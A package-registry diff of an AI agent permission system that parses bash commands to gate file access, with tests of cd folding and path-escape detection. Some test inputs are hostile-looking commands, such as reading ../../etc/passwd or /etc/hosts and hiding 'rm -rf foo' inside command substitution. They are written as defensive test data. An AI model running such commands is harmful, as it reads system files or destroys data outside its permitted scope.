@gotgenes/pi-permission-system 16.0.0 → 16.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +14 -0
- package/package.json +1 -1
- package/src/access-intent/bash/command-enumeration.ts +154 -0
- package/src/access-intent/bash/cwd-projection.ts +493 -0
- package/src/access-intent/bash/node-text.ts +75 -0
- package/src/access-intent/bash/parser.ts +42 -0
- package/src/access-intent/bash/program.ts +102 -0
- package/src/{handlers/gates/bash-token-classification.ts → access-intent/bash/token-classification.ts} +1 -1
- package/src/access-intent/bash/token-collection.ts +351 -0
- package/src/handlers/gates/bash-command.ts +1 -1
- package/src/handlers/gates/bash-external-directory.ts +3 -3
- package/src/handlers/gates/bash-path-extractor.ts +2 -2
- package/src/handlers/gates/bash-path.ts +2 -2
- package/src/handlers/gates/external-directory.ts +0 -2
- package/src/handlers/gates/path.ts +1 -3
- package/src/handlers/gates/skill-read.ts +0 -4
- package/src/handlers/gates/tool-call-gate-pipeline.ts +2 -2
- package/src/handlers/gates/tool.ts +1 -1
- package/src/handlers/gates/types.ts +1 -1
- package/test/access-intent/bash/node-text.test.ts +147 -0
- package/test/access-intent/bash/parser.test.ts +19 -0
- package/test/{handlers/gates/bash-program.test.ts → access-intent/bash/program.test.ts} +136 -69
- package/test/{handlers/gates/bash-token-classification.test.ts → access-intent/bash/token-classification.test.ts} +1 -1
- package/test/access-intent/bash/token-collection.test.ts +300 -0
- package/test/composition-root.test.ts +80 -0
- package/test/handlers/external-directory-symlink-acceptance.test.ts +2 -3
- package/test/handlers/gates/bash-command-metamorphic.test.ts +2 -3
- package/test/handlers/gates/bash-external-directory.test.ts +2 -10
- package/test/handlers/gates/bash-path.test.ts +2 -2
- package/test/handlers/gates/external-directory.test.ts +0 -5
- package/test/handlers/gates/tool-call-gate-pipeline.test.ts +5 -2
- package/src/handlers/gates/bash-program.ts +0 -1028
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import { BashProgram } from "#src/access-intent/bash/program";
|
|
1
2
|
import { getNonEmptyString, toRecord } from "#src/common";
|
|
2
3
|
import type { ScopedPermissionResolver } from "#src/permission-resolver";
|
|
3
4
|
import type { SkillPromptEntry } from "#src/skill-prompt-sanitizer";
|
|
@@ -10,7 +11,6 @@ import {
|
|
|
10
11
|
import { resolveBashCommandCheck } from "./bash-command";
|
|
11
12
|
import { describeBashExternalDirectoryGate } from "./bash-external-directory";
|
|
12
13
|
import { describeBashPathGate } from "./bash-path";
|
|
13
|
-
import { BashProgram } from "./bash-program";
|
|
14
14
|
import type { GateResult } from "./descriptor";
|
|
15
15
|
import { describeExternalDirectoryGate } from "./external-directory";
|
|
16
16
|
import { describePathGate } from "./path";
|
|
@@ -66,7 +66,7 @@ export class ToolCallGatePipeline {
|
|
|
66
66
|
const command = getNonEmptyString(toRecord(tcc.input).command);
|
|
67
67
|
const bashProgram =
|
|
68
68
|
tcc.toolName === "bash" && command
|
|
69
|
-
? await BashProgram.parse(command)
|
|
69
|
+
? await BashProgram.parse(command, tcc.cwd)
|
|
70
70
|
: null;
|
|
71
71
|
|
|
72
72
|
const formatter = new ToolPreviewFormatter(
|
|
@@ -28,7 +28,7 @@ function deriveSuggestionValue(
|
|
|
28
28
|
if (tcc.toolName === "mcp") return check.target ?? "mcp";
|
|
29
29
|
const path = getPathBearingToolPath(tcc.toolName, tcc.input);
|
|
30
30
|
if (path === null) return "*";
|
|
31
|
-
return
|
|
31
|
+
return normalizePathForComparison(path, tcc.cwd);
|
|
32
32
|
}
|
|
33
33
|
|
|
34
34
|
/**
|
|
@@ -0,0 +1,147 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
import {
|
|
3
|
+
resolveNodeText,
|
|
4
|
+
SKIP_SUBTREE_TYPES,
|
|
5
|
+
} from "#src/access-intent/bash/node-text";
|
|
6
|
+
import type { TSNode } from "#src/access-intent/bash/parser";
|
|
7
|
+
|
|
8
|
+
// Minimal fake TSNode builder — only fills the fields resolveNodeText reads.
|
|
9
|
+
function makeNode(type: string, text: string, children: TSNode[] = []): TSNode {
|
|
10
|
+
return {
|
|
11
|
+
type,
|
|
12
|
+
text,
|
|
13
|
+
childCount: children.length,
|
|
14
|
+
isNamed: true,
|
|
15
|
+
child: (i) => children[i] ?? null,
|
|
16
|
+
};
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
describe("SKIP_SUBTREE_TYPES", () => {
|
|
20
|
+
it("contains the three node types that must not be descended", () => {
|
|
21
|
+
expect(SKIP_SUBTREE_TYPES.has("heredoc_body")).toBe(true);
|
|
22
|
+
expect(SKIP_SUBTREE_TYPES.has("heredoc_end")).toBe(true);
|
|
23
|
+
expect(SKIP_SUBTREE_TYPES.has("comment")).toBe(true);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it("does not contain common argument node types", () => {
|
|
27
|
+
expect(SKIP_SUBTREE_TYPES.has("word")).toBe(false);
|
|
28
|
+
expect(SKIP_SUBTREE_TYPES.has("string")).toBe(false);
|
|
29
|
+
expect(SKIP_SUBTREE_TYPES.has("raw_string")).toBe(false);
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
describe("resolveNodeText", () => {
|
|
34
|
+
describe("word nodes", () => {
|
|
35
|
+
it("returns the node text unchanged", () => {
|
|
36
|
+
expect(resolveNodeText(makeNode("word", "hello"))).toBe("hello");
|
|
37
|
+
});
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
describe("raw_string nodes (single-quoted)", () => {
|
|
41
|
+
it("strips surrounding single quotes", () => {
|
|
42
|
+
expect(resolveNodeText(makeNode("raw_string", "'content'"))).toBe(
|
|
43
|
+
"content",
|
|
44
|
+
);
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
it("strips single quotes around a path", () => {
|
|
48
|
+
expect(resolveNodeText(makeNode("raw_string", "'/etc/hosts'"))).toBe(
|
|
49
|
+
"/etc/hosts",
|
|
50
|
+
);
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
it("returns text as-is when not fully single-quoted", () => {
|
|
54
|
+
// A raw_string node without enclosing quotes (defensive fallback)
|
|
55
|
+
expect(resolveNodeText(makeNode("raw_string", "noquotes"))).toBe(
|
|
56
|
+
"noquotes",
|
|
57
|
+
);
|
|
58
|
+
});
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
describe("string nodes (double-quoted)", () => {
|
|
62
|
+
it("concatenates inner word children, skipping quote delimiters", () => {
|
|
63
|
+
const quoteOpen = makeNode('"', '"');
|
|
64
|
+
const content = makeNode("string_content", "hello world");
|
|
65
|
+
const quoteClose = makeNode('"', '"');
|
|
66
|
+
const node = makeNode("string", '"hello world"', [
|
|
67
|
+
quoteOpen,
|
|
68
|
+
content,
|
|
69
|
+
quoteClose,
|
|
70
|
+
]);
|
|
71
|
+
expect(resolveNodeText(node)).toBe("hello world");
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it("concatenates multiple inner children", () => {
|
|
75
|
+
const quoteOpen = makeNode('"', '"');
|
|
76
|
+
const part1 = makeNode("string_content", "foo");
|
|
77
|
+
const part2 = makeNode("simple_expansion", "$BAR");
|
|
78
|
+
const quoteClose = makeNode('"', '"');
|
|
79
|
+
const node = makeNode("string", '"foo$BAR"', [
|
|
80
|
+
quoteOpen,
|
|
81
|
+
part1,
|
|
82
|
+
part2,
|
|
83
|
+
quoteClose,
|
|
84
|
+
]);
|
|
85
|
+
expect(resolveNodeText(node)).toBe("foo$BAR");
|
|
86
|
+
});
|
|
87
|
+
|
|
88
|
+
it("returns empty string for an empty double-quoted string", () => {
|
|
89
|
+
const quoteOpen = makeNode('"', '"');
|
|
90
|
+
const quoteClose = makeNode('"', '"');
|
|
91
|
+
const node = makeNode("string", '""', [quoteOpen, quoteClose]);
|
|
92
|
+
expect(resolveNodeText(node)).toBe("");
|
|
93
|
+
});
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
describe("string_content, simple_expansion, and expansion nodes", () => {
|
|
97
|
+
it("returns text as-is for string_content", () => {
|
|
98
|
+
expect(resolveNodeText(makeNode("string_content", "plain text"))).toBe(
|
|
99
|
+
"plain text",
|
|
100
|
+
);
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
it("returns text as-is for simple_expansion (e.g. $HOME)", () => {
|
|
104
|
+
// retro 0350: $HOME returns the literal text of a simple_expansion node
|
|
105
|
+
expect(resolveNodeText(makeNode("simple_expansion", "$HOME"))).toBe(
|
|
106
|
+
"$HOME",
|
|
107
|
+
);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
it("returns text as-is for expansion", () => {
|
|
111
|
+
// biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — testing that expansion node text is returned verbatim
|
|
112
|
+
expect(resolveNodeText(makeNode("expansion", "${VAR}"))).toBe("${VAR}");
|
|
113
|
+
});
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
describe("concatenation nodes", () => {
|
|
117
|
+
it("concatenates resolved children", () => {
|
|
118
|
+
const word = makeNode("word", "/etc/");
|
|
119
|
+
const expansion = makeNode("simple_expansion", "$FILE");
|
|
120
|
+
const node = makeNode("concatenation", "/etc/$FILE", [word, expansion]);
|
|
121
|
+
expect(resolveNodeText(node)).toBe("/etc/$FILE");
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
it("handles nested concatenation-of-string", () => {
|
|
125
|
+
// A concatenation whose child is a double-quoted string
|
|
126
|
+
const quoteOpen = makeNode('"', '"');
|
|
127
|
+
const content = makeNode("string_content", "bar");
|
|
128
|
+
const quoteClose = makeNode('"', '"');
|
|
129
|
+
const inner = makeNode("string", '"bar"', [
|
|
130
|
+
quoteOpen,
|
|
131
|
+
content,
|
|
132
|
+
quoteClose,
|
|
133
|
+
]);
|
|
134
|
+
const prefix = makeNode("word", "foo");
|
|
135
|
+
const node = makeNode("concatenation", 'foo"bar"', [prefix, inner]);
|
|
136
|
+
expect(resolveNodeText(node)).toBe("foobar");
|
|
137
|
+
});
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
describe("default fallback", () => {
|
|
141
|
+
it("returns the raw text for unknown node types", () => {
|
|
142
|
+
expect(resolveNodeText(makeNode("unknown_type", "rawtext"))).toBe(
|
|
143
|
+
"rawtext",
|
|
144
|
+
);
|
|
145
|
+
});
|
|
146
|
+
});
|
|
147
|
+
});
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
import { getParser } from "#src/access-intent/bash/parser";
|
|
3
|
+
|
|
4
|
+
describe("getParser", () => {
|
|
5
|
+
it("parses a simple bash command and returns a non-null root node", async () => {
|
|
6
|
+
const parser = await getParser();
|
|
7
|
+
const tree = parser.parse("echo hi");
|
|
8
|
+
expect(tree).not.toBeNull();
|
|
9
|
+
expect(tree?.rootNode).toBeDefined();
|
|
10
|
+
expect(tree?.rootNode.type).toBe("program");
|
|
11
|
+
tree?.delete();
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
it("returns the same memoized parser instance on repeated calls", async () => {
|
|
15
|
+
const first = await getParser();
|
|
16
|
+
const second = await getParser();
|
|
17
|
+
expect(first).toBe(second);
|
|
18
|
+
});
|
|
19
|
+
});
|
|
@@ -10,15 +10,15 @@ vi.mock("node:fs", () => ({
|
|
|
10
10
|
default: { realpathSync },
|
|
11
11
|
}));
|
|
12
12
|
|
|
13
|
-
import { BashProgram } from "#src/
|
|
13
|
+
import { BashProgram } from "#src/access-intent/bash/program";
|
|
14
14
|
|
|
15
15
|
describe("BashProgram", () => {
|
|
16
16
|
describe("pathRuleCandidates", () => {
|
|
17
17
|
const cwd = "/projects/my-app";
|
|
18
18
|
|
|
19
19
|
it("adds absolute and relative policy values for relative tokens", async () => {
|
|
20
|
-
const program = await BashProgram.parse("cat src/foo.ts");
|
|
21
|
-
expect(program.pathRuleCandidates(
|
|
20
|
+
const program = await BashProgram.parse("cat src/foo.ts", cwd);
|
|
21
|
+
expect(program.pathRuleCandidates()).toEqual([
|
|
22
22
|
{
|
|
23
23
|
token: "src/foo.ts",
|
|
24
24
|
policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
|
|
@@ -26,17 +26,13 @@ describe("BashProgram", () => {
|
|
|
26
26
|
]);
|
|
27
27
|
});
|
|
28
28
|
|
|
29
|
-
it("returns the literal token only when no cwd is provided", async () => {
|
|
30
|
-
const program = await BashProgram.parse("cat src/foo.ts");
|
|
31
|
-
expect(program.pathRuleCandidates()).toEqual([
|
|
32
|
-
{ token: "src/foo.ts", policyValues: ["src/foo.ts"] },
|
|
33
|
-
]);
|
|
34
|
-
});
|
|
35
|
-
|
|
36
29
|
it("resolves tokens after literal cd against the effective directory", async () => {
|
|
37
|
-
const program = await BashProgram.parse(
|
|
30
|
+
const program = await BashProgram.parse(
|
|
31
|
+
"cd nested && cat src/file.txt",
|
|
32
|
+
cwd,
|
|
33
|
+
);
|
|
38
34
|
const fileCandidate = program
|
|
39
|
-
.pathRuleCandidates(
|
|
35
|
+
.pathRuleCandidates()
|
|
40
36
|
.find((candidate) => candidate.token === "src/file.txt");
|
|
41
37
|
expect(fileCandidate).toEqual({
|
|
42
38
|
token: "src/file.txt",
|
|
@@ -49,9 +45,12 @@ describe("BashProgram", () => {
|
|
|
49
45
|
});
|
|
50
46
|
|
|
51
47
|
it("does not absolute-allow relative tokens after unknown cd", async () => {
|
|
52
|
-
const program = await BashProgram.parse(
|
|
48
|
+
const program = await BashProgram.parse(
|
|
49
|
+
'cd "$DIR" && cat src/foo.ts',
|
|
50
|
+
cwd,
|
|
51
|
+
);
|
|
53
52
|
const fileCandidate = program
|
|
54
|
-
.pathRuleCandidates(
|
|
53
|
+
.pathRuleCandidates()
|
|
55
54
|
.find((candidate) => candidate.token === "src/foo.ts");
|
|
56
55
|
expect(fileCandidate).toEqual({
|
|
57
56
|
token: "src/foo.ts",
|
|
@@ -69,21 +68,24 @@ describe("BashProgram", () => {
|
|
|
69
68
|
});
|
|
70
69
|
|
|
71
70
|
it("returns absolute paths resolving outside cwd", async () => {
|
|
72
|
-
const program = await BashProgram.parse("cat /etc/hosts");
|
|
71
|
+
const program = await BashProgram.parse("cat /etc/hosts", cwd);
|
|
73
72
|
// Subset matcher: the path is normalized before comparison.
|
|
74
|
-
expect(program.externalPaths(
|
|
73
|
+
expect(program.externalPaths()).toContain("/etc/hosts");
|
|
75
74
|
});
|
|
76
75
|
|
|
77
76
|
it("excludes paths within cwd", async () => {
|
|
78
|
-
const program = await BashProgram.parse("cat src/index.ts");
|
|
79
|
-
expect(program.externalPaths(
|
|
77
|
+
const program = await BashProgram.parse("cat src/index.ts", cwd);
|
|
78
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
80
79
|
});
|
|
81
80
|
|
|
82
81
|
describe("effective working directory projection", () => {
|
|
83
82
|
it("folds a sequence of current-shell cd commands", async () => {
|
|
84
83
|
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
85
|
-
const program = await BashProgram.parse(
|
|
86
|
-
|
|
84
|
+
const program = await BashProgram.parse(
|
|
85
|
+
"cd a && cd b && cat ../c",
|
|
86
|
+
cwd,
|
|
87
|
+
);
|
|
88
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
87
89
|
});
|
|
88
90
|
|
|
89
91
|
it("catches an escape masked by a later cd that the single-base model missed", async () => {
|
|
@@ -91,66 +93,73 @@ describe("BashProgram", () => {
|
|
|
91
93
|
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
92
94
|
const program = await BashProgram.parse(
|
|
93
95
|
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
96
|
+
cwd,
|
|
94
97
|
);
|
|
95
|
-
expect(program.externalPaths(
|
|
98
|
+
expect(program.externalPaths()).toContain("/projects/etc/passwd");
|
|
96
99
|
});
|
|
97
100
|
|
|
98
101
|
it("folds a cd that is not the first command", async () => {
|
|
99
102
|
// The single-base model ignored a cd that was not first; now `cd a`
|
|
100
103
|
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
101
|
-
const program = await BashProgram.parse(
|
|
102
|
-
|
|
104
|
+
const program = await BashProgram.parse(
|
|
105
|
+
"mkdir d && cd a && cat ../b",
|
|
106
|
+
cwd,
|
|
107
|
+
);
|
|
108
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
103
109
|
});
|
|
104
110
|
|
|
105
111
|
it("does not fold a backgrounded cd", async () => {
|
|
106
112
|
// `cd a &` runs in a subshell, so it must not update the running
|
|
107
113
|
// directory; ../b resolves against cwd and escapes.
|
|
108
|
-
const program = await BashProgram.parse("cd a & cat ../b");
|
|
109
|
-
expect(program.externalPaths(
|
|
114
|
+
const program = await BashProgram.parse("cd a & cat ../b", cwd);
|
|
115
|
+
expect(program.externalPaths()).toContain("/projects/b");
|
|
110
116
|
});
|
|
111
117
|
|
|
112
118
|
it("does not fold a cd inside a pipeline", async () => {
|
|
113
119
|
// Pipeline members run in subshells; the cd must not leak.
|
|
114
|
-
const program = await BashProgram.parse("cd nested | cat ../b");
|
|
115
|
-
expect(program.externalPaths(
|
|
120
|
+
const program = await BashProgram.parse("cd nested | cat ../b", cwd);
|
|
121
|
+
expect(program.externalPaths()).toContain("/projects/b");
|
|
116
122
|
});
|
|
117
123
|
|
|
118
124
|
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
119
125
|
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
120
|
-
const program = await BashProgram.parse("( cd sub && cat ../x )");
|
|
121
|
-
expect(program.externalPaths(
|
|
126
|
+
const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
|
|
127
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
122
128
|
});
|
|
123
129
|
|
|
124
130
|
it("does not leak a subshell cd to following commands", async () => {
|
|
125
131
|
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
126
|
-
const program = await BashProgram.parse("( cd sub ) && cat ../y");
|
|
127
|
-
expect(program.externalPaths(
|
|
132
|
+
const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
|
|
133
|
+
expect(program.externalPaths()).toContain("/projects/y");
|
|
128
134
|
});
|
|
129
135
|
|
|
130
136
|
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
131
137
|
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
132
|
-
const program = await BashProgram.parse("{ cd sub; cat ../x; }");
|
|
133
|
-
expect(program.externalPaths(
|
|
138
|
+
const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
|
|
139
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
134
140
|
});
|
|
135
141
|
|
|
136
142
|
it("persists a brace-group cd to following sibling commands", async () => {
|
|
137
|
-
const program = await BashProgram.parse("{ cd sub; } && cat ../x");
|
|
138
|
-
expect(program.externalPaths(
|
|
143
|
+
const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
|
|
144
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
139
145
|
});
|
|
140
146
|
|
|
141
147
|
it("conservatively flags a relative path inside a command substitution", async () => {
|
|
142
148
|
// Interior cd folding inside substitutions is deferred: the interior
|
|
143
149
|
// inherits the enclosing base (cwd), so ../r is flagged rather than
|
|
144
150
|
// resolved against cwd/q. Conservative — never misses an escape.
|
|
145
|
-
const program = await BashProgram.parse(
|
|
146
|
-
|
|
151
|
+
const program = await BashProgram.parse(
|
|
152
|
+
"echo $(cd q && cat ../r)",
|
|
153
|
+
cwd,
|
|
154
|
+
);
|
|
155
|
+
expect(program.externalPaths()).toContain("/projects/r");
|
|
147
156
|
});
|
|
148
157
|
|
|
149
158
|
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
150
159
|
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
151
160
|
// so it is flagged (least-privilege).
|
|
152
|
-
const program = await BashProgram.parse('cd "$DIR" && cat ../x');
|
|
153
|
-
expect(program.externalPaths(
|
|
161
|
+
const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
|
|
162
|
+
expect(program.externalPaths()).toContain("/projects/x");
|
|
154
163
|
});
|
|
155
164
|
|
|
156
165
|
it("flags even a within-cwd relative path after a non-literal cd", async () => {
|
|
@@ -158,8 +167,9 @@ describe("BashProgram", () => {
|
|
|
158
167
|
// flagged because the effective dir is unknown.
|
|
159
168
|
const program = await BashProgram.parse(
|
|
160
169
|
'cd "$DIR" && cat src/../within.txt',
|
|
170
|
+
cwd,
|
|
161
171
|
);
|
|
162
|
-
expect(program.externalPaths(
|
|
172
|
+
expect(program.externalPaths()).toContain(
|
|
163
173
|
"/projects/my-app/within.txt",
|
|
164
174
|
);
|
|
165
175
|
});
|
|
@@ -169,13 +179,14 @@ describe("BashProgram", () => {
|
|
|
169
179
|
// even when the effective dir is unknown.
|
|
170
180
|
const program = await BashProgram.parse(
|
|
171
181
|
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
182
|
+
cwd,
|
|
172
183
|
);
|
|
173
|
-
expect(program.externalPaths(
|
|
184
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
174
185
|
});
|
|
175
186
|
|
|
176
187
|
it("treats `cd -` as an unknown effective directory", async () => {
|
|
177
|
-
const program = await BashProgram.parse("cd - && cat ../x");
|
|
178
|
-
expect(program.externalPaths(
|
|
188
|
+
const program = await BashProgram.parse("cd - && cat ../x", cwd);
|
|
189
|
+
expect(program.externalPaths()).toContain("/projects/x");
|
|
179
190
|
});
|
|
180
191
|
|
|
181
192
|
it("recovers a known base when a later cd is absolute", async () => {
|
|
@@ -183,8 +194,57 @@ describe("BashProgram", () => {
|
|
|
183
194
|
// ../x resolves to cwd and is not flagged.
|
|
184
195
|
const program = await BashProgram.parse(
|
|
185
196
|
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
197
|
+
cwd,
|
|
198
|
+
);
|
|
199
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
200
|
+
});
|
|
201
|
+
|
|
202
|
+
it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
|
|
203
|
+
// tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
|
|
204
|
+
// `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
|
|
205
|
+
// inside a `pipeline` node. Bash precedence (`|` binds tighter than
|
|
206
|
+
// `&&`) makes `cd a` current-shell, so the fold must persist past the
|
|
207
|
+
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
|
|
208
|
+
const program = await BashProgram.parse(
|
|
209
|
+
"cd a && pnpm x 2>&1 | tail ; cat ../b",
|
|
210
|
+
cwd,
|
|
211
|
+
);
|
|
212
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
213
|
+
});
|
|
214
|
+
|
|
215
|
+
it("persists the fold past a redirect-then-pipe to a later cd", async () => {
|
|
216
|
+
// The issue reproduction: the fold from `cd a/b` survives the
|
|
217
|
+
// redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
|
|
218
|
+
// cwd instead of escaping one level above.
|
|
219
|
+
const program = await BashProgram.parse(
|
|
220
|
+
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
|
|
221
|
+
cwd,
|
|
222
|
+
);
|
|
223
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
it("does not fold the terminal piped command of the first stage", async () => {
|
|
227
|
+
// Fail-closed: `cd b` is the terminal command of the first stage, i.e.
|
|
228
|
+
// the real pipe stage (a subshell), so it must NOT fold. With the
|
|
229
|
+
// correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
|
|
230
|
+
// wrongly folded, the base would be cwd/a/b and ../../x would stay
|
|
231
|
+
// inside — a fail-open regression this test pins.
|
|
232
|
+
const program = await BashProgram.parse(
|
|
233
|
+
"cd a && cd b 2>&1 | tail ; cat ../../x",
|
|
234
|
+
cwd,
|
|
186
235
|
);
|
|
187
|
-
expect(program.externalPaths(
|
|
236
|
+
expect(program.externalPaths()).toContain("/projects/x");
|
|
237
|
+
});
|
|
238
|
+
|
|
239
|
+
it("resolves a downstream pipe stage against the folded base", async () => {
|
|
240
|
+
// The stage after the `|` runs in a subshell that inherits the folded
|
|
241
|
+
// cwd/a, so ../foo resolves inside cwd rather than escaping against the
|
|
242
|
+
// pre-cd base.
|
|
243
|
+
const program = await BashProgram.parse(
|
|
244
|
+
"cd a && pnpm x 2>&1 | cat ../foo",
|
|
245
|
+
cwd,
|
|
246
|
+
);
|
|
247
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
188
248
|
});
|
|
189
249
|
});
|
|
190
250
|
|
|
@@ -200,8 +260,9 @@ describe("BashProgram", () => {
|
|
|
200
260
|
});
|
|
201
261
|
const program = await BashProgram.parse(
|
|
202
262
|
"cat /projects/my-app/link/hosts",
|
|
263
|
+
cwd,
|
|
203
264
|
);
|
|
204
|
-
const external = program.externalPaths(
|
|
265
|
+
const external = program.externalPaths();
|
|
205
266
|
expect(external).toContain("/projects/my-app/link/hosts");
|
|
206
267
|
expect(external).not.toContain("/etc/hosts");
|
|
207
268
|
});
|
|
@@ -214,19 +275,24 @@ describe("BashProgram", () => {
|
|
|
214
275
|
if (p.startsWith("/tmp/")) return "/private/tmp" + p.slice(4);
|
|
215
276
|
return p;
|
|
216
277
|
});
|
|
217
|
-
const program = await BashProgram.parse(
|
|
218
|
-
|
|
278
|
+
const program = await BashProgram.parse(
|
|
279
|
+
"cat /tmp/workspace/file.ts",
|
|
280
|
+
symlinkCwd,
|
|
281
|
+
);
|
|
282
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
219
283
|
});
|
|
220
284
|
});
|
|
221
285
|
|
|
222
286
|
describe("commands", () => {
|
|
287
|
+
const cwd = "/projects/my-app";
|
|
288
|
+
|
|
223
289
|
it("returns a single-element list for a lone command", async () => {
|
|
224
|
-
const program = await BashProgram.parse("npm install pkg");
|
|
290
|
+
const program = await BashProgram.parse("npm install pkg", cwd);
|
|
225
291
|
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
226
292
|
});
|
|
227
293
|
|
|
228
294
|
it("splits an && chain", async () => {
|
|
229
|
-
const program = await BashProgram.parse("cd /p && npm i x");
|
|
295
|
+
const program = await BashProgram.parse("cd /p && npm i x", cwd);
|
|
230
296
|
expect(program.commands()).toEqual([
|
|
231
297
|
{ text: "cd /p" },
|
|
232
298
|
{ text: "npm i x" },
|
|
@@ -234,22 +300,22 @@ describe("BashProgram", () => {
|
|
|
234
300
|
});
|
|
235
301
|
|
|
236
302
|
it("splits || , ; and & separators", async () => {
|
|
237
|
-
expect((await BashProgram.parse("a || b")).commands()).toEqual([
|
|
303
|
+
expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
|
|
238
304
|
{ text: "a" },
|
|
239
305
|
{ text: "b" },
|
|
240
306
|
]);
|
|
241
|
-
expect((await BashProgram.parse("a ; b")).commands()).toEqual([
|
|
307
|
+
expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
|
|
242
308
|
{ text: "a" },
|
|
243
309
|
{ text: "b" },
|
|
244
310
|
]);
|
|
245
|
-
expect((await BashProgram.parse("a & b")).commands()).toEqual([
|
|
311
|
+
expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
|
|
246
312
|
{ text: "a" },
|
|
247
313
|
{ text: "b" },
|
|
248
314
|
]);
|
|
249
315
|
});
|
|
250
316
|
|
|
251
317
|
it("splits a pipeline into its commands", async () => {
|
|
252
|
-
const program = await BashProgram.parse("cat f | grep b");
|
|
318
|
+
const program = await BashProgram.parse("cat f | grep b", cwd);
|
|
253
319
|
expect(program.commands()).toEqual([
|
|
254
320
|
{ text: "cat f" },
|
|
255
321
|
{ text: "grep b" },
|
|
@@ -257,22 +323,22 @@ describe("BashProgram", () => {
|
|
|
257
323
|
});
|
|
258
324
|
|
|
259
325
|
it("splits newline-separated commands", async () => {
|
|
260
|
-
const program = await BashProgram.parse("foo\nbar");
|
|
326
|
+
const program = await BashProgram.parse("foo\nbar", cwd);
|
|
261
327
|
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
262
328
|
});
|
|
263
329
|
|
|
264
330
|
it("does not split operators inside quotes", async () => {
|
|
265
|
-
const program = await BashProgram.parse("echo 'x && y'");
|
|
331
|
+
const program = await BashProgram.parse("echo 'x && y'", cwd);
|
|
266
332
|
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
267
333
|
});
|
|
268
334
|
|
|
269
335
|
it("captures the command of a redirected statement without the redirect", async () => {
|
|
270
|
-
const program = await BashProgram.parse("npm install > out.txt");
|
|
336
|
+
const program = await BashProgram.parse("npm install > out.txt", cwd);
|
|
271
337
|
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
272
338
|
});
|
|
273
339
|
|
|
274
340
|
it("descends into command substitution, tagging the inner command", async () => {
|
|
275
|
-
const program = await BashProgram.parse("echo $(rm -rf foo)");
|
|
341
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
|
|
276
342
|
expect(program.commands()).toEqual([
|
|
277
343
|
{ text: "echo $(rm -rf foo)" },
|
|
278
344
|
{ text: "rm -rf foo", context: "command_substitution" },
|
|
@@ -280,7 +346,7 @@ describe("BashProgram", () => {
|
|
|
280
346
|
});
|
|
281
347
|
|
|
282
348
|
it("descends into backtick command substitution", async () => {
|
|
283
|
-
const program = await BashProgram.parse("echo `rm x`");
|
|
349
|
+
const program = await BashProgram.parse("echo `rm x`", cwd);
|
|
284
350
|
